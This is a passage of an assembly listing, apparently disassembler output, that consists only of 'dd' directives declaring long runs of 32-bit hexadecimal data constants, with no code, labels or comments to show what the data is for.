		dd 0A82E7803h, 871CB1D3h, 0D23AA550h, 9CAB0037h, 6BB07C19h
		dd 99E65D71h, 0FCBB6804h, 2F80C597h, 151C332h, 0FB40A26Eh
		dd 219A0163h, 26143099h, 0C40B2824h, 38670E16h,	0A364F861h
		dd 260820h, 0C1212489h,	7D04DF9Dh, 8C0F6C13h, 0DA562C01h
		dd 4432E2F7h, 9D8DBA07h, 4F3B10C3h, 0BF0755C9h,	0F078172Eh
		dd 1DF82049h, 1DA51AC4h, 5C600Bh, 993DC053h, 939B794h
		dd 0A34C7Ah, 7DC39E02h,	0E86C52FEh, 0EC70C068h,	0D1909A20h
		dd 0F1425900h, 0EB8CBF0Dh, 7DF4E46Fh, 57E6095Ch, 0B881EE99h
		dd 65857D73h, 321B40C4h, 0EB0097D9h, 64932290h,	0A82161h
		dd 1D75ACB3h, 0DF6732D0h, 0A16BAB04h, 6CC044D2h, 0E44BEC25h
		dd 763700F6h, 9C0AF7E0h, 0D00FCF2h, 0D1B47E67h,	3BEC8Eh
		dd 0F1DB855Eh, 0E8E3D272h, 69008C9Ah, 42B415E4h, 1A37E3Ah
		dd 1786D9F2h, 0C041DFA8h, 0C1036B55h, 0A0EEE5C3h, 477FA8E0h
		dd 0CF8D02F0h, 2552F313h, 7A458F60h, 16D19602h,	0E0504973h
		dd 13E53BCh, 378C26C6h,	0C82C0415h, 9A2873B1h, 3A0280F6h
		dd 0EEFD589h, 1C08D16Eh, 0F563C02Ah, 540C2B8Fh,	0FE431005h
		dd 980AB92h, 9B0BE8h, 0F4A1C537h, 0C04620DEh, 55733000h
		dd 743A3667h, 0E9F70047h, 0B598F02Fh, 104AB0DEh, 1DC0F001h
		dd 728396B8h, 821A1430h, 62C313F8h, 0A671A101h,	15E3742Fh
		dd 0D542FCh, 0FDE98F94h, 0FF8E8995h, 570E9C00h,	0DFAAD33Fh
		dd 1F3B00EDh, 224FB4E5h, 0C272D715h, 74412F5Ah,	932B5DB6h
		dd 0A86FA6F0h, 0F87E23B8h, 86321798h, 0D9BB00E6h, 2DD9B67h
		dd 92094201h, 0E496B922h, 9FA8B850h, 6AFF0F31h,	0DE3A55h
		dd 0D69277D2h, 1903716Eh, 7B685A70h, 301180D0h,	0D3D82412h
		dd 0E2C10B64h, 49981000h, 7000E40Ah, 5EE36351h,	54DF43h
		dd 0E7E29E68h, 0ECD2911Dh, 0C32D9F00h, 6492F931h, 10936051h
		dd 0F60C53D7h, 0CD00D5F0h, 20097626h, 266C5743h, 16C67FEh
		dd 8FB74CF1h, 0CBBFF8E1h, 83329D00h, 9E6C4ECDh,	0C0587D49h
		dd 8A7DAA90h, 994C05BAh, 0EC6B080h, 0A0ECA029h,	0BD931CCBh
		dd 623B4004h, 3199C3D2h, 0F2F9FC09h, 50FCC0FDh,	262F2856h
		dd 7AF600F8h, 90BB92F0h, 0CDE6B291h, 38135400h,	9F352706h
		dd 4253163Dh, 0A2450CF5h, 0AE07B440h, 7949820Ch, 3CBF030Bh
		dd 0F8718101h, 588004DDh, 4AB9A08Bh, 2F1DB8DFh,	0F6C0F34Fh
		dd 3DA83293h, 0E8373DD4h, 39C16700h, 5BA45451h,	9000F098h
		dd 0B297EE26h, 26F4960h, 0CF29E18Ah, 0AC697669h, 6818ECBEh
		dd 380023EEh, 1B947312h, 7E5070h, 0D9B3D172h, 788CC452h
		dd 0E4454E0Ah, 0F5268434h, 0D471D717h, 5CC89833h, 271200CDh
		dd 0F775B74Fh, 0F487056h, 4CA62474h, 2D609700h,	7AFCFBB5h
		dd 0B347F4Ch, 38E55340h, 0B119ECC0h, 8248D00h, 0B7490C20h
		dd 582D1643h, 0EBDCD8F3h, 5AFF8200h, 5011E881h,	0F6E00B40h
		dd 7C205758h, 0FA1CED2Ah, 7B78DCE0h, 76859801h,	91C3C56Ah
		dd 3703C878h, 0B7BC1E8Bh, 81B8C1D5h, 988112Dh, 0FC05F878h
		dd 0B020E9C6h, 0CD09AFFCh, 275D9066h, 4690CA1Ch, 0B0D0E3E4h
		dd 283D01C0h, 7D0E492Eh, 110AE8C6h, 2D8174Ch, 3F26B588h
		dd 2F28505Ch, 0FC80A8E3h, 5BD36B4Ch, 3AC72800h,	38AE82ECh
		dd 0AF473AEDh, 0B5A19F8Fh, 8892CB60h, 5A73E501h, 0B9008D75h
		dd 3FEFF92Fh, 3A61661Ch, 0C0833140h, 2C654535h,	0D23B58D0h
		dd 1A03E8F6h, 8C362884h, 0B977F882h, 8323008Bh,	972BF355h
		dd 0EC900B52h, 0F70E5AE0h, 2480CE45h, 0F0B09A72h, 0A74B002Fh
		dd 0B0C61C27h, 200FC83h, 0ED7B9A5h, 3D0AB76Fh, 0F61DC9E1h
		dd 28BF80E0h, 129BD3EBh, 0C8597800h, 36114383h,	0D621052Dh
		dd 807FB60Dh, 402FF3F2h, 5DE24D0Ah, 721F88EDh, 46C7FD00h
		dd 1D62C235h, 40A216A6h, 0E71EED81h, 7E00D3E6h,	69C59B48h
		dd 3D270CA3h, 3F800350h, 0E74CFAADh, 1B075E88h,	0BFEDCC7Ah
		dd 0A4803624h, 9807A2FFh, 716C0FC8h, 0ACE246E1h, 48C81C87h
		dd 0F0BFDDB4h, 0F466E544h, 3718D505h, 1CF800DBh, 0BC5286Dh
		dd 5909F3E0h, 612F07FCh, 0E07D4F00h, 3866700h, 2873843Eh
		dd 68984D01h, 697062B1h, 4B8BD8h, 5D354F82h, 386CE84Ah
		dd 92C39100h, 2DC81E1Ah
		dd 69F30020h, 0C04E98C6h, 0F800B9EEh, 0F9DBC7AAh, 0A0EBF1C3h
		dd 18B8A3CCh, 81BA65DAh, 0D30064E5h, 444C891Fh,	4A1769Dh
		dd 4137A9D0h, 20FCC773h, 847E705h, 0A5FF3912h, 393F38B0h
		dd 2182739Fh, 8A82C474h, 0D2008070h, 85292D96h,	0F0BD6Eh
		dd 6A41B85Ch, 0DC40BB54h, 0B2006098h, 7B5F258h,	0E891E62Ah
		dd 23E40004h, 0B8DB4C5h, 0B33F0D31h, 1CCCCBh, 0FE978149h
		dd 793344h, 42C7AB96h, 0D0AA7374h, 0BAA6153Eh, 7BF287B1h
		dd 4846EAB5h, 289200B8h, 8E1346CFh, 23009D5Fh, 88D149C1h
		dd 1F1871Fh, 0CDFA6B45h, 0E5CE069Ch, 8BB0D064h,	22B70A00h
		dd 0FBBE71C7h, 8C7A25h,	462BF92Ch, 4CA28589h, 9F49E500h
		dd 0AF707A28h, 74F76D5h, 5327A966h, 0B33A0563h,	86ACB800h
		dd 5CB3C488h, 91742216h, 10908C85h, 0B23CEF2Dh,	194426E4h
		dd 4396BB44h, 9E2C1D3Bh, 36CE40C1h, 0DFA93D79h,	9516D300h
		dd 8E4D8633h, 59B900A2h, 2F8F6470h, 0A5090E19h,	80A149BBh
		dd 98F3B429h, 2890029h,	0B390BF40h, 7527826Eh, 0BDC805E6h
		dd 45E088h, 0C3C015C7h,	0E0DA2C66h, 3D36C905h, 60F0046Bh
		dd 6F9F1FACh, 0B17AC0BDh, 0EB24ABC4h, 0A8092800h, 1AFD15FEh
		dd 2DE500F5h, 58C4477Eh, 0BE00BFA2h, 9D4B8722h,	0F5C3A6h
		dd 4329BC15h, 2737C4EAh, 376C898h, 785F5E15h, 58B70080h
		dd 3A040AE8h, 24BF26D0h, 6C6F00ACh, 30B35147h, 123CA400h
		dd 9F2BF292h, 384F6Eh, 0D9CB7E20h, 33306801h, 26E2885Fh
		dd 0B7D20183h, 5E99794Ah, 611064E3h, 0EE001176h, 0F82F548Fh
		dd 26305A93h, 2C76E598h, 33298870h, 8548A680h, 0B28343h
		dd 70EB7477h, 1D96FB25h, 0CDE1CE00h, 0DF7F937h,	0F16A02BFh
		dd 25F58F9Ah, 7C5854C4h, 41FC0014h, 1FDD047h, 0F73B03BEh
		dd 5D6FEF18h, 0E12E1598h, 0B8C007B8h, 9FAAFBB0h, 0B5340EDBh
		dd 53AE2Bh, 0D5E69D88h,	77307E8Ch, 46F4C8B4h, 7CF502DEh
		dd 0CBE035DCh, 5500EC7Ah, 60805C48h, 48A685F0h,	4900B861h
		dd 749B7FF8h, 9F00DB71h, 0CAD67877h, 1FDD1294h,	40954CA1h
		dd 27468ECh, 2C94F979h,	56835E00h, 701E5192h, 0F8D80023h
		dd 759AC6E8h, 0C0A00B60h, 72009C0Ah, 53FDE414h,	941DB5Fh
		dd 0B2358762h, 0A000AC70h, 7B91197Ch, 0EF8C99Dh, 0ACC79EC5h
		dd 0F5B3E660h, 0DB5C263Bh, 0B8B43F37h, 519B00FDh, 2F2E49F6h
		dd 2A3F7A14h, 0D0A5F1h,	0BF058BAAh, 1A649DFEh, 240DE4Ch
		dd 0A59339FAh, 8400E058h, 4B320060h, 4F24BB81h,	8B001B18h
		dd 64F1F5A7h, 1565702h,	0A59CE0B3h, 60010654h, 48116728h
		dd 0D884F3FFh, 0D4088D02h, 74F40AB1h, 6AF3140Ch, 0B7CE075h
		dd 0BC7B4D4Ah, 43AEDC07h, 0AC25B72h, 893D0040h,	78744517h
		dd 3C6E00FBh, 976119C8h, 0EDF7C202h, 0A0E9D99Dh, 1781E6E4h
		dd 0B4A1EE22h, 30B86010h, 2E003811h, 0EB45DEF2h, 54CC9A9Fh
		dd 6D1D43Fh, 0F1AA7470h, 0DB0010A0h, 0FD4EED0Fh, 7A6679A7h
		dd 0C35712F7h, 0A5C20055h, 76589619h, 841CD10Bh, 0BAB081F1h
		dd 0AF609B3Fh, 0D8C269C3h, 57C04082h, 7D9E5056h, 3B4071DDh
		dd 0BEC159CDh, 0D3470064h, 0E90990B2h, 8700F137h, 0D4E5E94h
		dd 4C0CBD34h, 8200DC5Ch, 1379AADFh, 9B0FF83Ah, 0E08808E4h
		dd 0EA8E53D7h, 0D6B00435h, 0C3BACBC7h, 0A0E43EB9h, 44001720h
		dd 2C9E7110h, 794533h, 0DAA51663h, 0BEE03F41h, 0E9D7B21Eh
		dd 56D3A900h, 0A09D98h,	8F507235h, 60DDD86Eh, 0ADB7793Dh
		dd 403C8B2Ch, 27DBAA88h, 0C40B3B1h, 9E000B1Bh, 7E67F86Ch
		dd 1DD64CAh, 81136B51h,	60E34F9Fh, 0D4000E9Bh, 922D04AFh
		dd 25D9B067h, 9C2FC7B9h, 0A3260500h, 70139F4h, 6CD6DE3Fh
		dd 4C60833Dh, 6F54002Ch, 90A48030h, 30024CAh, 0E570A916h
		dd 1C9555D4h, 432893B4h, 2D3BA20Bh, 0E73A317Ah,	125C0AFBh
		dd 0A500CC0Ah, 7F466BAAh, 2B876A8h, 0FDF5E79Eh,	4C706A6Fh
		dd 0C0283160h, 733F1Dh,	0DF1F5055h, 0CAB43B9Fh,	74C4248h
		dd 2093FD6Fh, 5CAC9180h, 0ED21673h, 54E20FA7h, 85B87DA2h
		dd 12CB1CE0h, 0B9904003h, 0E0F3D606h, 44E80h, 772D7567h
		dd 1892D3EFh, 3600E9F4h, 78595EDh, 2249C4h, 6128DF69h
		dd 0B2D49D91h, 0FCC06C4Ah, 0D9A8C3h, 234CAFCDh,	3D61C881h
		dd 3E0017F4h, 65DD531Eh, 0E0391B9Bh, 16F0BFh, 1A4D633Bh
		dd 0E36F7DD8h, 4C5BF90Fh, 0B501938Bh, 0D60CE149h, 9E3057C1h
		dd 0E930014h, 87085298h, 8278B18Eh, 3825AE00h, 1811C9FEh
		dd 4A240077h, 72F02B33h, 93E056C3h, 48F2B8B0h, 3601CE7Dh
		dd 2D245962h, 0CCD83E2Eh, 74C1005Ah, 5CA8E8CFh,	9A0345DFh
		dd 2D5329B2h, 94F6F0A7h, 0F8B1E71h, 2E1E83C2h, 61E7C86Bh
		dd 6D9C6082h, 28A60008h, 31D0F1A8h, 7F9F1E09h, 5F4F8072h
		dd 505AB8A0h, 0FBF44000h, 0EB8A7136h, 0E00803E6h, 3EF0A36Fh
		dd 30F20800h, 8F0338E9h, 0D5652848h, 3698DBh, 63333C27h
		dd 3D3971C2h, 0FBD10500h, 0E25CA9EDh, 0AB11002Fh, 87F0A472h
		dd 4CF07F3Fh, 1BA0300h,	0C1FFCFA1h, 64B603F7h, 0A577B726h
		dd 79C8C0CCh, 0AA002D27h, 0AF2F2C73h, 0F096AC9Fh, 0FC78C0E1h
		dd 3DFB04D6h, 0C2CB5A00h, 450A9AADh, 5F610068h,	5654C0A6h
		dd 3B48378Ch, 0C75317ECh, 0FD1002Ch, 40A5F367h,	0ECA253h
		dd 18D5BBA3h, 0DBB56Dh,	0D080681Ah, 2D836903h, 8A6A1100h
		dd 86BC25C6h, 739F09Ah,	39B9987h, 0B3B96256h, 0B0405762h
		dd 2659937Eh, 0FC500024h, 8C495D67h, 0ECB43D40h, 0B00FAE3Eh
		dd 0E903C83Ah, 1020ACA5h, 186C7792h, 20B2DD36h,	0EB60618Bh
		dd 577C3548h, 74411CD8h, 94120498h, 77E8C08Ah, 0BF0125A8h
		dd 59B1D52Dh, 27706A8Bh, 9A4A61h, 635AAD44h, 0D001D4EBh
		dd 30580341h, 5C580447h, 119422Eh, 0E8C9C2A6h, 0D530FC90h
		dd 71D8EAAEh, 5F2601B3h, 0A8EFAFF5h, 24ED018h, 0CD8C8B00h
		dd 8E19A01Ah, 82960037h, 10554994h, 830E9FD5h, 348C03h
		dd 1FD86405h, 0ACC8007Fh, 0A02DC6F2h, 0B80170BCh, 0D4712581h
		dd 0F9ECB703h, 0E2940276h, 0B5D39599h, 0ADE4860h, 0A4A62101h
		dd 0A3FCCDF2h, 2708C0CCh, 0BDDED56Bh, 0B8367300h, 288F3Ch
		dd 0C40F9657h, 0D6A08358h, 0EFFB96C0h, 0E75240h, 0EEEC4637h
		dd 0C1503F29h, 75F19700h, 3464B812h, 27223973h,	0F3C4E500h
		dd 295F8A10h, 0E24B5E01h, 0E949AB86h, 0B03B5CE0h, 3824E32Ch
		dd 0E28100D7h, 0A334B114h, 7500C399h, 4CA08D08h, 0E66A2C1Ah
		dd 50354806h, 0F201C781h, 0E2E06E43h, 443C0050h, 3DFC6B9h
		dd 63037DE5h, 0D29A6F0Bh, 3C301509h, 9F07D049h,	5F8921F0h
		dd 0D69BAFC0h, 0EA24FA48h, 660185B0h, 0CF9526FCh, 1E2D51F0h
		dd 1CA1CA1Ch, 12690076h, 67235005h, 0B8928B2Ch,	0CDF01000h
		dd 48DD722Fh, 0A50F7769h, 90649455h, 5D14E031h,	45805700h
		dd 9ECED244h, 819C0062h, 9D7D6D5Ch, 38D22675h, 2F0C9700h
		dd 0B874B7B9h, 0FC55F28Dh, 2D1800B3h, 0BE156416h, 0F25A9097h
		dd 0F36F6090h, 31F79F9h, 0AECE88BDh, 0F801067Fh, 8130DBD6h
		dd 3AE0F6BCh, 0F50B0965h, 5800DED4h, 17A784ADh,	685E1400h
		dd 393431C2h, 0B8DA01F5h, 0BC1367AEh, 6AC6DC03h, 0EF7E1801h
		dd 0BED598D8h, 67D4CEE5h, 0F0500024h, 13EB2084h, 0A6001D35h
		dd 4BC61E76h, 0A107B7h,	3BE3D5E7h, 64E17CA8h, 102C3E00h
		dd 1AC3E995h, 0ABA000DCh, 4578F560h, 0CF076B58h, 5E833BBBh
		dd 0E74F00DBh, 25D07Fh
		dd 506203Fh, 8AC9664Ch,	0F7F68100h, 957F3432h, 0F23500CAh
		dd 5DE7D806h, 93070EF4h, 94271B76h, 46156520h, 0D86600A7h
		dd 87D3283Eh, 8100C48Fh, 96644C07h, 1F034DDh, 8BF0DA9h
		dd 0C157EBF2h, 0C4A17FA7h, 0C2FA05E1h, 0CA802E0Bh, 865704DDh
		dd 10C8CD7Ch, 64F43103h, 0EB0FCF70h, 0F8207506h, 910E009Eh
		dd 82CD617Ch, 0DC32DAD2h, 13B12956h, 452498BAh,	1462AF21h
		dd 2229A9C6h, 79429F75h, 21611811h, 89780819h, 5B943D90h
		dd 210D2964h, 28178A60h, 226E3642h, 0D0220761h,	21B52485h
		dd 4E2FA1Eh, 871A2155h,	0CB206912h, 183597h, 7B1D143Ch
		dd 0DDEBFA02h, 5585E200h, 2F3E5D87h, 6DF09Dh, 294B8C2Ah
		dd 8FA86A84h, 8B0085E6h, 0E421C769h, 51F3F0h, 3D8A6588h
		dd 26E2F1C3h, 97F84200h, 0A386A29h, 0F07200AFh,	0E7AA0F59h
		dd 6D009168h, 70CE524h,	70B53BE4h, 2160B59Dh, 0E307C59Ch
		dd 513E72D6h, 5FB6CBC0h, 0F65C1D60h, 76A880B2h,	964A70CDh
		dd 0A3008A7Fh, 0FD9D040Dh, 0F4244D4h, 4318B56Bh, 0FCC38B60h
		dd 85009EB8h, 0D8FEE974h, 79534CBEh, 57779BCh, 4FBA604Ah
		dd 0F59401D3h, 0FC8473D9h, 33015AF2h, 92EE6EA7h, 4ED1AC86h
		dd 9C6C1080h, 29023A68h, 0CC2B0104h, 3C809908h,	7BCAF1h
		dd 0E3EDBEB0h, 25138D26h, 0EC659703h, 0A89C73F5h, 7DB9E54h
		dd 45581D3Ch, 7859A015h, 5076257h, 8271B9ABh, 4D88FCF0h
		dd 5BE80Eh, 96256913h, 51246CACh, 6EDE5907h, 0A4A0A1C4h
		dd 0CA63A01h, 74A57CEBh, 2E60EF48h, 0C4980AD6h,	0A9E7022Ah
		dd 35F02F89h, 0ACD055C0h, 0C7CF4C03h, 91FA59A6h, 9440CB2Bh
		dd 5C6B3Dh, 4BDA2847h, 412162CCh, 362A8400h, 0F35DA1F4h
		dd 929C00E6h, 0C15BFB5Ah, 5007BEACh, 0FED4D365h, 1C2CB4C0h
		dd 0CB050032h, 53CF73DCh, 540FE2BAh, 24E11Ah, 1CFF25F1h
		dd 0CA4800D7h, 2A69B686h, 850091E2h, 0AA71BA9Fh, 0B8ECDA2Bh
		dd 16C2C042h, 33A1E383h, 8455DD0Fh, 0CF374054h,	4F14E7h
		dd 0AD623015h, 49E36AB5h, 0D20FB17Ch, 40E6B381h, 13069760h
		dd 4C771D3Fh, 7D8EC08Ch, 785B71FBh, 8565D00h, 431CDAFDh
		dd 6A62002Fh, 8D39F054h, 1B2D348Bh, 56D03Ch, 67707495h
		dd 0DD7BE9BFh, 0A12E577Dh, 7200F3D5h, 0A3E703A9h, 383D90FCh
		dd 328019D9h, 71CDBD6Eh, 55509FF9h, 4703EA80h, 4948EBB2h
		dd 0A4700F0Bh, 0A00FD16h, 0CC1B60F8h, 86F648h, 9E4EF92Ah
		dd 3BF8858h, 5644AABBh,	8CA8C3F7h, 0B6008A98h, 0EC37361Ah
		dd 18A15Ch, 2FB89BCAh, 86BD4F3Bh, 1ED9F030h, 0C084B642h
		dd 0CF1B1D98h, 0FC065407h, 774080A2h, 855D0018h, 0D7E1B28Fh
		dd 0C9015968h, 1248DB1Bh, 0D6ECAACFh, 6CF103BDh, 5A16C397h
		dd 0F16E1989h, 1D8E60B0h, 0C58AF500h, 70EC4F43h, 98A90A25h
		dd 0BF8644h, 0AF4C060Dh, 0F00FBFCh, 52AED5C7h, 0F25599h
		dd 0D61F6F61h, 0EAFEFA82h, 0DE5ADD00h, 0BF0FDBCAh, 0F0E01E76h
		dd 0CFD31CA0h, 896374BBh, 0DFC8529Bh, 4F0E3405h, 401D69C9h
		dd 71A159FDh, 0B5E0B7h,	0F7DF5804h, 0D7126E62h,	8008B13Fh
		dd 6953F9D1h, 1B20C5h, 856B271Ch, 6D1E29CAh, 60F7E701h
		dd 67FC8070h, 0DE28F8h,	0D9D307B9h, 0EA8E0A8Ah,	8B88C701h
		dd 4C7C0357h, 99D06680h, 5AE7D538h, 0A3836600h,	6525571Eh
		dd 0C0F152B9h, 21F90600h, 39D54F0Eh, 4400AB72h,	872650AAh
		dd 0EE2471h, 75AC66E9h,	70B568A5h, 0D006EECh, 0FD196258h
		dd 3C9E3053h, 3798FE12h, 9648180Ch, 30AAD630h, 7E8F313h
		dd 2817CC1h, 5CB62001h,	35009257h, 965F1B24h, 4430419h
		dd 0C68BAF31h, 1C0BEF7h, 0A901D3h, 0ED65725Eh, 0E9A6738Fh
		dd 52FAC112h, 0A76C5800h, 3C47C28Ah, 0EE07AF75h, 0F0030F5Eh
		dd 0E75D2939h, 42091200h, 81451153h, 1C6D00E5h,	0F93BCBA9h
		dd 2D00256Bh, 90A0ECDCh, 2418BC68h, 7D81777h, 60040C85h
		dd 23B0FAD0h, 48CA8400h, 2CAEB42Dh, 0EA010162h,	63B95538h
		dd 85173076h, 2FAA5200h, 0CBA480D8h, 316B0021h,	2696B698h
		dd 0E0009B86h, 14BCD2BEh, 2F7607Ch, 0A9DACF33h,	0C0484EB2h
		dd 5C3B941Eh, 5D768072h, 0F35AE677h, 1DDD3CF0h,	0BD510200h
		dd 4144A147h, 0FC00E971h, 969CE763h, 7CA27E4Fh,	50523A69h
		dd 34C50E00h, 5A47E51Eh, 75B2D102h, 0A09268A6h,	84512780h
		dd 0B6F512E7h, 9780753h, 0BDC15014h, 0BA0095C7h, 68435A42h
		dd 90C27737h, 0B24905Ch, 0CB2C7F48h, 2B499780h,	880196D5h
		dd 0C0F9DCC6h, 0FAD83312h, 0E667FF1h, 4A5F5559h, 9219BA66h
		dd 6002CA00h, 0B68BF238h, 0BE7600C6h, 97B07263h, 3EE4BD50h
		dd 0C2C92600h, 6E42380Ch, 9986000Ah, 714644E1h,	0C1B5F54Fh
		dd 0E9E8564Bh, 0D967003Ah, 0E2B9CE04h, 0E0B76FA5h, 1D3F72F5h
		dd 5F439A6Dh, 0F51C81B4h, 0E81B0EBCh, 0DA28D5B5h, 8C24B85Fh
		dd 148014C7h, 0FE9240CFh, 7291002Eh, 7BDC9D9h, 0A201A9B2h
		dd 0E1E4F173h, 48808D0Dh, 0CB99DB6Bh, 0B6904E45h, 8AFAC02h
		dd 48D83B1Fh, 0E62DA520h, 0D48509E3h, 4003995h,	3D24E563h
		dd 91964C00h, 3C3E6884h, 0FCC548A6h, 0ADD32700h, 4F025829h
		dd 8D4B38h, 1C84443Ah, 35AE8h, 0C24CE44Eh, 0A2F578AEh
		dd 0DC18470Fh, 0D4C4C341h, 0B783E893h, 1E6F1F66h, 981C002h
		dd 0D0773ACDh, 0A714C500h, 0E2B6A1F8h, 0B211034Bh, 0A09AD8Ch
		dd 48C18B9Ah, 22C3C4A3h, 370080E2h, 4B01A79Fh, 1D9AE124h
		dd 80EC21B6h, 0FFABFB82h, 0CB0EDDEDh, 40B34D5Fh, 59AA340h
		dd 4B4E38A9h, 7393C12h,	0F0159CC6h, 0AEF8767Dh,	0D7DB9F00h
		dd 544ADD0Fh, 0D81E6003h, 9B60C987h, 68089300h,	1CA9C6EEh
		dd 6E6300D9h, 11889523h, 653BB880h, 32A60E0Ah, 481E2083h
		dd 0F24D7h, 0B92F8B42h,	3FC7E047h, 9E81FC06h, 0B825E9h
		dd 577AAC4Dh, 5537E358h, 0CB6709Fh, 79B592D1h, 3100DB80h
		dd 9DAE3F91h, 1012F0h, 8C7F0BC5h, 338B0FBEh, 80C3EF24h
		dd 9E26AE00h, 0FD6211h,	13556E23h, 6195E770h, 96FB8701h
		dd 508F60DEh, 5992A820h, 0E23E14C1h, 3D8B9D81h,	606B7E7Ah
		dd 16006083h, 693FBC43h, 726EC070h, 3C292E14h, 0D41FB940h
		dd 0BCFA80AFh, 40EC9DCFh, 88C18930h, 597F7864h,	0F48008F8h
		dd 98383483h, 0D50A7A00h, 7B5A5C75h, 0EDD90028h, 81FE6456h
		dd 26505DF5h, 9124AC8Ch, 4C804C65h, 176ED48h, 0FC20EB0Fh
		dd 6CE2008Dh, 0C60DA9B4h, 1400E510h, 64C2ED3h, 606EAD3Bh
		dd 0DABA2847h, 4F608D5Bh, 73FAD511h, 0E36900CBh, 0FEE2C5FFh
		dd 7A0A14A2h, 0DFDE916Dh, 85194500h, 508C69h, 3880AB04h
		dd 0EAA32073h, 0CC5D9F24h, 0BD835800h, 0F143CEh, 0BAAAEC92h
		dd 0A57E0C73h, 0E32E5E01h, 7F4E3D0Eh, 0E1F8AF61h, 7C100059h
		dd 0F76D2AB7h, 0D0021921h, 0CBECF898h, 1237412Bh, 0E271CC20h
		dd 0EEC9911h, 1FA0ECD6h, 317601BAh, 6BA96A00h, 33575DA8h
		dd 697F00D9h, 79A64751h, 8F7C2648h, 0F93D0F00h,	9AEA052Fh
		dd 99191555h, 7148B813h, 6F834C03h, 70004AD6h, 11EF3C69h
		dd 9774EEAh, 409B393Dh,	366F9F82h, 0FB9998C1h, 0E443D4AAh
		dd 7CB8C7F3h, 790F8DB2h, 60AD8412h, 0FFC92276h,	574A00AFh
		dd 8F9D52BAh, 4B1C09C1h, 9500434Dh, 5D0DF15Eh, 7E8D0029h
		dd 88AE5DFh, 0C916BC84h, 30039145h, 0AF1DA828h,	69F94D80h
		dd 0DA2F0060h, 0BDBA8249h, 7300A4F5h, 6280CC8Bh, 0FAAF98Fh
		dd 0C8D8F0FEh, 0EBB34E40h
		dd 9E48B13Fh, 8F6402F4h, 8050C571h, 14D706FCh, 62BD00DAh
		dd 0BAA1F21Eh, 0A400CA7Dh, 2B317A50h, 638779h, 695A7DCh
		dd 0C80EE75Eh, 32E7C98h, 13D50E1h, 7AB1602Bh, 8865C67Dh
		dd 5008E3D4h, 424FB4EBh, 2338809Fh, 0EB8B1Ch, 0DDC4AD5Dh
		dd 0A434684Bh, 0B1E41900h, 0CCB57DD3h, 8914005Ch, 6A6B7B18h
		dd 2A00DABBh, 53C3F6AAh, 1F622EC6h, 8017FA20h, 0D9E06339h
		dd 0E900BB4Fh, 4BBDF309h, 1C6D803Ch, 9075A55h, 0F8079418h
		dd 971531CFh, 0F9CA004Eh, 0EEB80337h, 0C3959D7Ah, 0A37682F0h
		dd 57D73300h, 37C45B0Eh, 0A80B03A1h, 51060C66h,	1D4090F5h
		dd 910047CCh, 567B4F2h,	48B13971h, 9C09F8BBh, 64807780h
		dd 48E54255h, 94ED8103h, 0E886B210h, 9014EB8Dh,	0FE960278h
		dd 1B7E1784h, 31C21860h, 0BD41AD00h, 0FBB6B99Ch, 165F07BEh
		dd 40369E8Dh, 18C37EB7h, 818A8F3Fh, 0D8CCD7E6h,	0A6700168h
		dd 594B0002h, 0FCF52B53h, 650051C4h, 0C6823A64h, 79FB697h
		dd 4FDF735Fh, 0FE29B363h, 35757FA8h, 7AA2E70Ah,	0A440E430h
		dd 88E8ECE3h, 700B9D8h,	0CCB2F3EAh, 0C3ED1Eh, 5DABD766h
		dd 162E20DDh, 6719AC00h, 0C4616FD3h, 8B741245h,	7AA08324h
		dd 593E83C0h, 0F6B83002h, 0E36A5E44h, 0DA84C0C4h, 0FC1050A3h
		dd 0AAD000D1h, 57871EEh, 2A001FF9h, 2EA3CBE6h, 3C8CD5h
		dd 19C13641h, 24B9C54Fh, 0C2048BE4h, 0F39E5C7Ch, 0CE52A887h
		dd 80F36231h, 0E6A04BA8h, 0ECC74165h, 7C00C6E0h, 5214A58Ch
		dd 818748h, 0E7326B31h,	0B3CBEF1Ch, 3A68F400h, 22F221B8h
		dd 10010098h, 32DB7604h, 0C6005856h, 0B70D4152h, 8042F2FEh
		dd 3C00803Eh, 0C239383Fh, 22B0F03h, 0D6B1764Fh,	0A4E24A19h
		dd 90664D84h, 0A4E34188h, 3609120Fh, 0E70BA0E4h, 1245C610h
		dd 44F534C0h, 405F70ACh, 1DE9B349h, 25F774CFh, 0A8002FA3h
		dd 6A90F49Ah, 70980CB2h, 2317EC00h, 0E2A6E078h,	77A80A33h
		dd 0B0D89Bh, 58CA7EC9h,	16F25080h, 41C8559h, 10EF2DF0h
		dd 748A80C0h, 94AB0091h, 0DCC63EC9h, 68039A27h,	2EB8CB36h
		dd 4ED380C5h, 0B95B072Ah, 80A586A1h, 0B528DEF9h, 6AEA1A0Fh
		dd 8342C07Bh, 9AC088Fh,	0E8537137h, 7E69C800h, 8B40F1F5h
		dd 201E08D6h, 52094CCFh, 36480006h, 765EDA22h, 3DBA094Bh
		dd 0EC62FB2Ah, 29919E63h, 651BC133h, 6AB1F8B8h,	93E63F09h
		dd 0E64A0EFh, 7701B9DDh, 124090D1h, 0CC32B8A4h,	29073EC8h
		dd 5F338218h, 0FCA0EE64h, 956F03DEh, 7A55F422h,	62ED4B98h
		dd 61758D00h, 90A40956h, 71960778h, 20A82DC6h, 2F2870Ch
		dd 0E775F978h, 0C004AA0Ch, 0A1AD04Fh, 19FE2F0Eh, 466B80D4h
		dd 0C0D05644h, 85BBB700h, 3E1CA590h, 70E10053h,	5C67ABF2h
		dd 0F00F144h, 0AC18A378h, 131155C8h, 15DAA925h,	0BA790887h
		dd 66000C0h, 0B858DFEBh, 0AD498228h, 0A7030430h, 0C903777h
		dd 7CBF5232h, 0E2743D72h, 833EDC48h, 6786193Dh,	51DD6F13h
		dd 5FA76800h, 7D79B0F9h, 7B8B87Bh, 0F5CF5791h, 0D2FB065h
		dd 0A31DF447h, 26837C15h, 0D00B19A6h, 3DFF1C0h,	7B4D8AB9h
		dd 0F3903A5Ch, 9163624Ch, 80944249h, 0FEF1035h,	9C556C92h
		dd 0BA803BBCh, 0A9F6D722h, 0F2C6457h, 990034F5h, 0AFBD3756h
		dd 9B7100ABh, 0F814F177h, 0C00316Bh, 63476AE1h,	0F21E2A0Dh
		dd 0A5F60080h, 0F91B62D7h, 8398464Eh, 0ED4154Ch, 8CA007BCh
		dd 0BA200Dh, 56D4316Ah,	0DC152D82h, 0F6007572h,	72431A9Ah
		dd 2C183BAAh, 84381B90h, 48EE3FEh, 0FBFC44Eh, 604E3D1Ch
		dd 72372E00h, 0CCA08D14h, 7601D0C0h, 515C1D2Dh,	0B2FC1B02h
		dd 0A2BB0AE2h, 12A94D16h, 8A470063h, 46435167h,	6030C900h
		dd 0BD4B26F4h, 0F5880E86h, 67C131DDh, 3044828Eh, 0B0222E30h
